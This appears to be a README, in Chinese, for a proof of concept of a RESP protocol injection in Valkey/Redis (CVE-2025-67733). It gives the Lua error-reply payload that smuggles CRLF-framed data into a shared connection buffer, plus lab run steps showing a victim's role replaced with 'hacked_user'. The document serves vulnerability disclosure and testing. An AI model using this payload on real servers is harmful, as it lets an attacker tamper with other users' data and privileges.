
Redis/Valkey RESP Injection PoC (CVE-2025-67733)
演示通过Valkey/Redis中的Lua脚本错误消息进行的RESP协议注入漏洞的概念验证。
Flask后端模拟一个使用共享Valkey连接(连接池)的Web应用程序。
端点:
| 方法 | 端点 | 描述 |
|---|---|---|
| POST | /api/user/role | 设置用户角色 |
| GET | /api/user/role | 获取用户角色 |
| POST | /api/process | 执行Lua脚本 |
用法:
python backend.py <Valkey host> <Valkey port> [password]
# 示例
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
通过Lua脚本错误消息将恶意RESP数据注入到套接字缓冲区中。
攻击载荷:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
用法:
python attacker_client.py
用于设置和检索用户角色的合法客户端。
用法:
python victim_client.py set # 将角色设置为"normal_user"
python victim_client.py get # 获取当前角色
pip install flask requests
终端1 - 启动后端:
python backend.py 127.0.0.1 6379
终端2 - 设置角色:
python victim_client.py set
# 输出:'role':'normal_user' 已设置。
python victim_client.py get
# 输出:'role':'normal_user'
终端3 - 攻击:
python attacker_client.py
# 输出:Socket poisoning successful
终端2 - 获取角色(攻击后):
python victim_client.py get
# 输出:'role':'hacked_user'
1. 受害者设置角色
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. 攻击者注入载荷
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
后端读取: "-ERR INJECTED\r\n"
缓冲区剩余: "$11\r\nhacked_user"
3. 受害者获取角色
victim_client.py get --> backend --> Valkey
GET user:user:role
后端从缓冲区读取:"$11\r\nhacked_user"
受害者收到:"hacked_user"